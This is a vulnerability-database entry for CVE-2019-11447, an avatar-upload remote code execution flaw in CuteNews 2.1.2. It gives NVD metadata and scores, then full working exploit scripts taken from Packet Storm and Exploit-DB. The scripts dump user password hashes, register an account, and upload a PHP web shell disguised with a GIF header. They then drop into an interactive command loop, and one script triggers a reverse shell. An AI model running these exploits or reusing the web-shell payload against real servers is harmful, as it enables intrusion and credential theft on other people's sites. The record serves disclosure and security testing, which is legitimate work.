ID CVE-2019-11447
Type cve
Reporter cve@mitre.org
Modified 2020-09-11T17:15:00
Description
An issue was discovered in CutePHP CuteNews 2.1.2. An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal. There is no effective control of $imgsize in /core/modules/dashboard.php. The header content of a file can be changed and the control can be bypassed for code execution. (An attacker can use the GIF header for this.)
{"id": "CVE-2019-11447", "bulletinFamily": "NVD", "title": "CVE-2019-11447", "description": "An issue was discovered in CutePHP CuteNews 2.1.2. An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal. There is no effective control of $imgsize in /core/modules/dashboard.php. The header content of a file can be changed and the control can be bypassed for code execution. (An attacker can use the GIF header for this.)", "published": "2019-04-22T11:29:00", "modified": "2020-09-11T17:15:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-11447", "reporter": "cve@mitre.org", "references": ["https://www.exploit-db.com/exploits/46698/", "http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html", "http://packetstormsecurity.com/files/159134/CuteNews-2.1.2-Remote-Code-Execution.html"], "cvelist": ["CVE-2019-11447"], "type": "cve", "lastseen": "2021-02-02T07:12:48", "edition": 5, "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "packetstorm", "idList": ["PACKETSTORM:161833", "PACKETSTORM:159134"]}, {"type": "exploitdb", "idList": ["EDB-ID:46698", "EDB-ID:48800"]}], "modified": "2021-02-02T07:12:48", "rev": 2}, "score": {"value": 4.4, "vector": "NONE", "modified": "2021-02-02T07:12:48", "rev": 2}, "vulnersScore": 4.4}, "cpe": ["cpe:/a:cutephp:cutenews:2.1.2"], "affectedSoftware": [{"cpeName": "cutephp:cutenews", "name": "cutephp cutenews", "operator": "eq", "version": "2.1.2"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "cpe23": ["cpe:2.3:a:cutephp:cutenews:2.1.2:*:*:*:*:*:*:*"], "cwe": ["CWE-434"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:cutephp:cutenews:2.1.2:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/159134/CuteNews-2.1.2-Remote-Code-Execution.html", "refsource": "MISC", "tags": [], "url": "http://packetstormsecurity.com/files/159134/CuteNews-2.1.2-Remote-Code-Execution.html"}, {"name": "46698", "refsource": "EXPLOIT-DB", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "https://www.exploit-db.com/exploits/46698/"}, {"name": "http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit"], "url": "http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html"}], "immutableFields": []}
{"packetstorm": [{"lastseen": "2020-09-11T15:20:01", "description": "", "published": "2020-09-10T00:00:00", "type": "packetstorm", "title": "CuteNews 2.1.2 Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-11447"], "modified": "2020-09-10T00:00:00", "id": "PACKETSTORM:159134", "href": "https://packetstormsecurity.com/files/159134/CuteNews-2.1.2-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: CuteNews 2.1.2 - Remote Code Execution \n# Google Dork: N/A \n# Date: 2020-09-10 \n# Exploit Author: Musyoka Ian \n# Vendor Homepage: https://cutephp.com/cutenews/downloading.php \n# Software Link: https://cutephp.com/cutenews/downloading.php \n# Version: CuteNews 2.1.2 \n# Tested on: Ubuntu 20.04, CuteNews 2.1.2 \n# CVE : CVE-2019-11447 \n \n#! /bin/env python3 \n \nimport requests \nfrom base64 import b64decode \nimport io \nimport re \nimport string \nimport random \nimport sys \n \n \nbanner = \"\"\" \n \n \n_____ __ _ __ ___ ___ ___ \n/ ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ | \n/ /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/ \n\\___/\\_,_/\\__/\\__/_/|_/\\__/|__,__/___/ /____(_)_(_)____/ \n___ _________ \n/ _ \\/ ___/ __/ \n/ , _/ /__/ _/ \n/_/|_|\\___/___/ \n \n \n \n\"\"\" \nprint (banner) \nprint (\"[->] Usage python3 expoit.py\") \nprint () \nsess = requests.session() \npayload = \"GIF8;\\n<?php system($_REQUEST['cmd']) ?>\" \nip = input(\"Enter the URL> \") \ndef extract_credentials(): \nglobal sess, ip \nurl = f\"{ip}/CuteNews/cdata/users/lines\" \nencoded_creds = sess.get(url).text \nbuff = io.StringIO(encoded_creds) \nchash = buff.readlines() \nif \"Not Found\" in encoded_creds: \nprint (\"[-] No hashes were found skipping!!!\") \nreturn \nelse: \nfor line in chash: \nif \"<?php die('Direct call - access denied'); ?>\" not in line: \ncredentials = b64decode(line) \ntry: \nsha_hash = re.search('\"pass\";s:64:\"(.*?)\"', credentials.decode()).group(1) \nprint (sha_hash) \nexcept: \npass \ndef register(): \nglobal sess, ip \nuserpass = \"\".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10)) \npostdata = { \n\"action\" : \"register\", \n\"regusername\" : userpass, \n\"regnickname\" : userpass, \n\"regpassword\" : userpass, \n\"confirm\" : userpass, \n\"regemail\" : f\"{userpass}@hack.me\" \n} \nregister = sess.post(f\"{ip}/CuteNews/index.php?register\", data = postdata, allow_redirects = False) \nif 302 == register.status_code: \nprint (f\"[+] Registration successful with username: {userpass} and password: {userpass}\") \nelse: \nsys.exit() \ndef send_payload(payload): \nglobal ip \ntoken = sess.get(f\"{ip}/CuteNews/index.php?mod=main&opt=personal\").text \nsignature_key = re.search('signature_key\" value=\"(.*?)\"', token).group(1) \nsignature_dsi = re.search('signature_dsi\" value=\"(.*?)\"', token).group(1) \nlogged_user = re.search('disabled=\"disabled\" value=\"(.*?)\"', token).group(1) \nprint (f\"signature_key: {signature_key}\") \nprint (f\"signature_dsi: {signature_dsi}\") \nprint (f\"logged in user: {logged_user}\") \n \nfiles = { \n\"mod\" : (None, \"main\"), \n\"opt\" : (None, \"personal\"), \n\"__signature_key\" : (None, f\"{signature_key}\"), \n\"__signature_dsi\" : (None, f\"{signature_dsi}\"), \n\"editpassword\" : (None, \"\"), \n\"confirmpassword\" : (None, \"\"), \n\"editnickname\" : (None, logged_user), \n\"avatar_file\" : (f\"{logged_user}.php\", payload), \n\"more[site]\" : (None, \"\"), \n\"more[about]\" : (None, \"\") \n} \npayload_send = sess.post(f\"{ip}/CuteNews/index.php\", files = files).text \nprint(\"============================\\nDropping to a SHELL\\n============================\") \nwhile True: \nprint () \ncommand = input(\"command > \") \npostdata = {\"cmd\" : command} \noutput = sess.post(f\"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php\", data=postdata) \nif 404 == output.status_code: \nprint (\"sorry i can't find your webshell try running the exploit again\") \nsys.exit() \nelse: \noutput = re.sub(\"GIF8;\", \"\", output.text) \nprint (output.strip()) \n \nif __name__ == \"__main__\": \nprint (\"================================================================\\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\\n================================================================\") \nextract_credentials() \nprint (\"================================================================\") \nprint() \nprint (\"=============================\\nRegistering a users\\n=============================\") \nregister() \nprint() \nprint(\"=======================================================\\nSending Payload\\n=======================================================\") \nsend_payload(payload) \nprint () \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/159134/cutenews212-exec.txt"}, {"lastseen": "2021-03-17T14:48:08", "description": "", "published": "2021-03-17T00:00:00", "type": "packetstorm", "title": "CuteNews 2.1.2 Shell Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-11447"], "modified": "2021-03-17T00:00:00", "id": "PACKETSTORM:161833", "href": "https://packetstormsecurity.com/files/161833/CuteNews-2.1.2-Shell-Upload.html", "sourceData": "`#! /usr/bin/env python3 \n \n## Exploit Title: CuteNews 2.1.2 - Avatar upload RCE (Authenticated) \n## Exploit Author: Mayank Deshmukh \n## Date: 2021-03-17 \n## Vendor Homepage: https://cutephp.com/ \n## Software Link: https://cutephp.com/click.php?cutenews_latest \n## Version: 2.1.2 \n## CVE: CVE-2019-11447 \n## CVE Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11447 \n## Tested on: Kali GNU/Linux 2020.3 \n## Author website: https://coldfusionx.github.io \n## Author email: coldfusionx@outlook.com \n## Detailed POC: https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE \n \nimport requests \nimport sys \nimport re \nimport argparse, textwrap \n \n#Expected Arguments \nparser = argparse.ArgumentParser(description=\"CuteNews 2.1.2 - Avatar upload RCE (Authenticated) by ColdFusionX\", formatter_class=argparse.RawTextHelpFormatter, \nepilog=textwrap.dedent(''' \n \nExploit Usage : \n./exploit.py -l http://127.0.0.1 -u cold -p fusion -e cold@decepticon.net \n./exploit.py -l http://127.0.0.1 -u optimus -p prime -e optimus@autobots.net \n[^] Select your PHP file -> rev.php \nOR \n[^] Select your PHP file -> ~/Downloads/rev.php \n[^] Press y/n to trigger reverse shell -> y \n \n''')) \n \nparser.add_argument(\"-l\",\"--url\", help=\"CuteNews URL (Example: http://127.0.0.1)\") \nparser.add_argument(\"-u\",\"--username\", help=\"Username to Login/Register\") \nparser.add_argument(\"-p\",\"--password\", help=\"Password to Login/Register\") \nparser.add_argument(\"-e\",\"--email\", help=\"Email to Login/Register\") \nargs = parser.parse_args() \n \nif len(sys.argv) <= 8: \nprint (f\"Exploit Usage: ./exploit.py -h [help] -l [url] -u [username] -p [password] -e [email ID]\") \nsys.exit() \n \n# Variables \nHost = args.url \nUsername = args.username \nPassword = args.password \nEmail = args.email \n \nr = requests.session() \n \n## Use this for Proxy \n#r.proxies.update( { 'http':'http://127.0.0.1:8080' } ) \n \n# Login check \ndef login(): \ninit = r.get(f\"{Host}/CuteNews/index.php\") \ncookie = init.cookies.get('CUTENEWS_SESSION') \n \nheaderscontent = { \n'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' \n} \ncookie = { \n'CUTENEWS_SESSION':cookie \n} \n \npostcontent = { \n'action' : 'dologin', \n'username' : f\"{Username}\", \n'password' : f\"{Password}\", \n} \n \nlogin = r.post(f'{Host}/CuteNews/index.php', data = postcontent, cookies= cookie, headers = headerscontent, allow_redirects= False) \n \nif 302 == login.status_code: \nprint (f\"[+] User exists ! Logged in Successfully\") \nreturn True \n \n# Registering User \ndef register(): \n \nheaderscontent = { \n'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' \n} \npostcontent = { \n'action' : 'register', \n'regusername' : f\"{Username}\", \n'regnickname' : f\"{Username}\", \n'regpassword' : f\"{Password}\", \n'confirm' : f\"{Password}\", \n'regemail' : f\"{Email}\" \n} \n \nregistration = r.post(f'{Host}/CuteNews/index.php?register', data = postcontent, headers = headerscontent, allow_redirects= False) \n \nif 302 == registration.status_code: \nprint (f\"[+] Credentials {Username}:{Password} Successfully Registered\") \nelse: \nsys.exit() \n \n# Avatar upload \ndef upload(): \n \nkeys = r.get(f\"{Host}/CuteNews/index.php?mod=main&opt=personal\") \nsignature_key = re.search('signature_key\" value=\"(.*?)\"', keys.text).group(1) \nsignature_dsi = re.search('signature_dsi\" value=\"(.*?)\"', keys.text).group(1) \n \n# Grab PHP reverse shell from : https://github.com/pentestmonkey/php-reverse-shell \nMalFile = input(\"[^] Select your PHP file -> \") \n \n# Adding Magic Byte to PHP file \n \nwith open(MalFile, 'r') as original: data = original.read() \nprint() \nprint (\"[*] Adding Magic Byte to PHP file\") \nwith open(MalFile, 'w') as modified: modified.write(\"GIF8;\\n\" + data) \n \nEfile = open(MalFile, 'rb') \n \nheaderscontent = { \n'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' \n} \nfiles = { \n\"mod\" : (None, \"main\"), \n\"opt\" : (None, \"personal\"), \n\"__signature_key\" : (None, f\"{signature_key}\"), \n\"__signature_dsi\" : (None, f\"{signature_dsi}\"), \n\"editpassword\" : (None, \"\"), \n\"confirmpassword\" : (None, \"\"), \n\"editnickname\" : (None,Username), \n\"avatar_file\" : (f\"{Username}.php\", Efile ) , \n\"more[site]\" : (None, \"\"), \n\"more[about]\" : (None, \"\") \n} \nshell_upload = r.post(f\"{Host}/CuteNews/index.php\", headers = headerscontent, files = files) \n \n# Removing Magic Byte from PHP file \nwith open(MalFile,\"r+\") as f: \nnew_f = f.readlines() \nf.seek(0) \nfor line in new_f: \nif \"GIF8;\" not in line: \nf.write(line) \nf.truncate() \n \nif 'User info updated!' in shell_upload.text: \nprint (\"[+] Upload Successful !!\") \nprint (f\"[*] File location --> {Host}/CuteNews/uploads/avatar_{Username}_{Username}.php\") \nprint () \n \nTrig = input(\"[^] Press y/n to trigger PHP file -> \") \nif Trig == 'y': \nprint (\"[*] Check listener for reverse shell\") \nshell = r.get(f\"{Host}/CuteNews/uploads/avatar_{Username}_{Username}.php\") \nelse: \nprint (\"[*] Execution Completed\") \nsys.exit() \nelif 'Error: avatar is not correct' in shell_upload.text: \nprint () \nprint (\"[*] Uploading Failed ! Try again\") \nelse: \nsys.exit() \n \nif __name__ == \"__main__\": \n \nprint ('[+] CuteNews 2.1.2 - Avatar Upload RCE exploit by ColdFusionX \\n ') \nif login() == True: \nupload() \nelse: \nregister() \nupload() \nprint (\"[*] Execution Completed\") \n \n \n`\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/161833/cutenews212-shell.txt"}], "exploitdb": [{"lastseen": "2020-09-11T13:47:23", "description": "", "published": "2020-09-10T00:00:00", "type": "exploitdb", "title": "CuteNews 2.1.2 - Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-11447"], "modified": "2020-09-10T00:00:00", "id": "EDB-ID:48800", "href": "https://www.exploit-db.com/exploits/48800", "sourceData": "# Exploit Title: CuteNews 2.1.2 - Remote Code Execution\r\n# Google Dork: N/A\r\n# Date: 2020-09-10\r\n# Exploit Author: Musyoka Ian\r\n# Vendor Homepage: https://cutephp.com/cutenews/downloading.php\r\n# Software Link: https://cutephp.com/cutenews/downloading.php\r\n# Version: CuteNews 2.1.2\r\n# Tested on: Ubuntu 20.04, CuteNews 2.1.2\r\n# CVE : CVE-2019-11447\r\n\r\n#! /bin/env python3\r\n\r\nimport requests\r\nfrom base64 import b64decode\r\nimport io\r\nimport re\r\nimport string\r\nimport random\r\nimport sys\r\n\r\n\r\nbanner = \"\"\"\r\n\r\n\r\n _____ __ _ __ ___ ___ ___ \r\n / ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ |\r\n / /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/ \r\n \\___/\\_,_/\\__/\\__/_/|_/\\__/|__,__/___/ /____(_)_(_)____/ \r\n ___ _________ \r\n / _ \\/ ___/ __/ \r\n / , _/ /__/ _/ \r\n /_/|_|\\___/___/ \r\n \r\n\r\n \r\n\"\"\"\r\nprint (banner)\r\nprint (\"[->] Usage python3 expoit.py\")\r\nprint ()\r\nsess = requests.session()\r\npayload = \"GIF8;\\n<?php system($_REQUEST['cmd']) ?>\"\r\nip = input(\"Enter the URL> \")\r\ndef extract_credentials():\r\n global sess, ip\r\n url = f\"{ip}/CuteNews/cdata/users/lines\"\r\n encoded_creds = sess.get(url).text\r\n buff = io.StringIO(encoded_creds)\r\n chash = buff.readlines()\r\n if \"Not Found\" in encoded_creds:\r\n print (\"[-] No hashes were found skipping!!!\")\r\n return\r\n else:\r\n for line in chash:\r\n if \"<?php die('Direct call - access denied'); ?>\" not in line:\r\n credentials = b64decode(line)\r\n try:\r\n sha_hash = re.search('\"pass\";s:64:\"(.*?)\"', credentials.decode()).group(1)\r\n print (sha_hash)\r\n except:\r\n pass\r\ndef register():\r\n global sess, ip\r\n userpass = \"\".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))\r\n postdata = {\r\n \"action\" : \"register\",\r\n \"regusername\" : userpass,\r\n \"regnickname\" : userpass,\r\n \"regpassword\" : userpass,\r\n \"confirm\" : userpass,\r\n \"regemail\" : f\"{userpass}@hack.me\"\r\n }\r\n register = sess.post(f\"{ip}/CuteNews/index.php?register\", data = postdata, allow_redirects = False)\r\n if 302 == register.status_code:\r\n print (f\"[+] Registration successful with username: {userpass} and password: {userpass}\")\r\n else:\r\n sys.exit()\r\ndef send_payload(payload):\r\n global ip\r\n token = sess.get(f\"{ip}/CuteNews/index.php?mod=main&opt=personal\").text\r\n signature_key = re.search('signature_key\" value=\"(.*?)\"', token).group(1)\r\n signature_dsi = re.search('signature_dsi\" value=\"(.*?)\"', token).group(1)\r\n logged_user = re.search('disabled=\"disabled\" value=\"(.*?)\"', token).group(1)\r\n print (f\"signature_key: {signature_key}\")\r\n print (f\"signature_dsi: {signature_dsi}\")\r\n print (f\"logged in user: {logged_user}\")\r\n\r\n files = {\r\n \"mod\" : (None, \"main\"),\r\n \"opt\" : (None, \"personal\"),\r\n \"__signature_key\" : (None, f\"{signature_key}\"),\r\n \"__signature_dsi\" : (None, f\"{signature_dsi}\"),\r\n \"editpassword\" : (None, \"\"),\r\n \"confirmpassword\" : (None, \"\"),\r\n \"editnickname\" : (None, logged_user),\r\n \"avatar_file\" : (f\"{logged_user}.php\", payload),\r\n \"more[site]\" : (None, \"\"),\r\n \"more[about]\" : (None, \"\")\r\n }\r\n payload_send = sess.post(f\"{ip}/CuteNews/index.php\", files = files).text\r\n print(\"============================\\nDropping to a SHELL\\n============================\")\r\n while True:\r\n print ()\r\n command = input(\"command > \")\r\n postdata = {\"cmd\" : command}\r\n output = sess.post(f\"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php\", data=postdata)\r\n if 404 == output.status_code:\r\n print (\"sorry i can't find your webshell try running the exploit again\")\r\n sys.exit()\r\n else:\r\n output = re.sub(\"GIF8;\", \"\", output.text)\r\n print (output.strip())\r\n\r\nif __name__ == \"__main__\":\r\n print (\"================================================================\\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\\n================================================================\")\r\n extract_credentials()\r\n print (\"================================================================\")\r\n print()\r\n print (\"=============================\\nRegistering a users\\n=============================\")\r\n register()\r\n print()\r\n print(\"=======================================================\\nSending Payload\\n=======================================================\")\r\n send_payload(payload)\r\n print ()", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://www.exploit-db.com/download/48800"}]}